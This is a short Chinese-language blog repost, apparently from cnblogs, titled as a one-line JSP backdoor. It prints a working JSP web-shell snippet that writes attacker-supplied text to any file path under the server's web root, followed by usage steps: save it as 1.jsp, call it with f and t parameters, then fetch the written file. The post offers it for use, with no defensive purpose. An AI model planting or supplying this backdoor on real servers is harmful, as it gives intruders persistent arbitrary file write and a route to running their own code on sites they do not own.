JSP一句话后门(转)

＜%

　　if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

　　%＞

　　这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!

　　 http://localhost/1.jsp?f=1.txt&t=hello

　　然后: http://localhost/1.txt 就出来了 内容为 hello

转载于:https://www.cnblogs.com/demonspider/archive/2012/10/05/2712104.html